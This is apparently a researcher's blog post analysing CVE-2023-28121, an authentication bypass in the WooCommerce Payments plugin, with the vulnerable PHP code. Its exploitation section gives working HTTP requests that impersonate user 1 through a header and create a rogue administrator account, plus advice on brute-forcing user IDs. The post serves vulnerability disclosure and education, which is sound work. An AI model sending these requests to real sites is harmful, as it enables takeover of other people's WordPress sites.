Back in March 2023, I noticed an interesting security advisory that was published by Wordfence about a critical “Authentication Bypass and Privilege Escalation” (aka CVE-2023-28121) affecting the “WooCommerce Payments” plugin which has more than 600.000 active installs according to WordPress.
Since one of my customers was running a WooCommerce instance with the vulnerable version of the plugin, but there wasn’t a publicly available PoC/exploit back then, I decided to look at it and build an exploit for it. It turns out that this vulnerability could give administrative rights to an attacker on a vulnerable WordPress/WooCommerce instance.
I’ve held back this blog post for a while due to the criticality of the bug, but since there are already some exploits floating around, I’ve decided to publish my post as well which focuses more on the root cause analysis.
Kudos to Michael Mazzolini of GoldNetwork who seems to have originally found this bug.
Patch Diffing All The Things
So when diffing the vulnerable version 5.6.1 (all below are vulnerable as well) and the fixed version 5.6.2, you can actually notice that there weren’t a lot of code changes at all.
1. The developers removed a call to Platform_Checkout_Session::init()
in woocommerce-payments.php
:
2. They entirely removed the /includes/platform-checkout/class-platform-checkout-session.php
file, which happens to have the Platform_Checkout_Session::init()
declaration inside of it.
Since it all comes down to the init()
function, let’s quickly dive into that. Here’s the full source code which contains the vulnerability:
<?php /** * Class WC_Payments_Session. * * @package WooCommerce\Payments */ namespace WCPay\Platform_Checkout; /** * Class responsible for handling platform checkout sessions. * This class should be loaded as soon as possible so the correct session is loaded. * So don't load it in the WC_Payments::init() function. */ class Platform_Checkout_Session { const PLATFORM_CHECKOUT_SESSION_COOKIE_NAME = 'platform_checkout_session'; /** * Init the hooks. * * @return void */ public static function init() { add_filter( 'determine_current_user', [ __CLASS__, 'determine_current_user_for_platform_checkout' ] ); add_filter( 'woocommerce_cookie', [ __CLASS__, 'determine_session_cookie_for_platform_checkout' ] ); } /** * Sets the current user as the user sent via the api from WooPay if present. * * @param \WP_User|null|int $user user to be used during the request. * * @return \WP_User|null|int */ public static function determine_current_user_for_platform_checkout( $user ) { if ( $user ) { return $user; } if ( ! isset( $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) || ! is_numeric( $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) ) { return null; } return (int) $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER']; } /** * Tells WC to use platform checkout session cookie if the header is present. * * @param string $cookie_hash Default cookie hash. * * @return string */ public static function determine_session_cookie_for_platform_checkout( $cookie_hash ) { if ( isset( $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) && 0 === (int) $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) { return self::PLATFORM_CHECKOUT_SESSION_COOKIE_NAME; } return $cookie_hash; } }
Yes, that’s it.
The init()
function adds two WordPress filters whereof the determine_current_user
is the most interesting one (line 25). When looking up the hook in WordPress’s official documentation, it becomes quite clear that it ultimately does what its name stands for: determining the current user.
All the (vulnerable) magic happens in the determine_current_user_for_platform_checkout()
function (lines 36 to 46), where the plugin checks for the existence of the X-WCPAY-PLATFORM-CHECKOUT-USER
request header and if it is present it simply returns the header’s value. Since the returned value represents the “determined” user, we can now trick WordPress into thinking that we’re correctly authenticated as the given userId.
Triggering the Vulnerability
So to trigger the authentication bypass part, you just need to set the X-WCPAY-PLATFORM-CHECKOUT-USER
request header and point it to a userId:
GET / HTTP/1.1 Host: 192.168.178.11 Upgrade-Insecure-Requests: 1 Connection: close X-WCPAY-PLATFORM-CHECKOUT-USER: 1
When attaching a debugger and triggering the above request, you can notice that our initial theory is correct and that the determine_current_user_for_platform_checkout()
function will simply return the userId from the request without any further validation:
What happens under the hood is that the hook effectively tells WordPress which user the request came from. Since we have the userId under our control, we do now have an easy way to impersonate any user which is active/enabled on the WordPress instance, including administrators.
Exploitation
Since we can impersonate administrative users, it is quite easy to compromise the entire WordPress instance. The easiest way I came up with is by utilizing WordPress’ /wp-json/wp/v2/users
API interface, which allows adding new users.
Therefore the following request will add a new user called “hacked” with the default role of “administrator” to a vulnerable WordPress instance, by impersonating the user with the userId “1”, which is the first ever user (usually an administrator) added to any WordPress instance:
POST /wp-json/wp/v2/users HTTP/1.1 Host: 192.168.178.11 Upgrade-Insecure-Requests: 1 Connection: close Content-Type: application/json X-WCPAY-PLATFORM-CHECKOUT-USER: 1 Content-Length: 123 { "username":"hacked", "email":"[email protected]", "password":"SuperSecure1337", "roles":["administrator"] }
Whether the exploit was successful can be determined based on the HTTP response code. If it is 201, the exploit was successful and it’ll return the user object of the newly created user:
This can now be used to authenticate against WordPress’ administrative backend:
In some cases, the targeted, impersonated user doesn’t exist anymore or is disabled. In this case, you need to either query the /wp-json/wp/v2/users
API method to get a list of active users, or simply brute force through the userIds.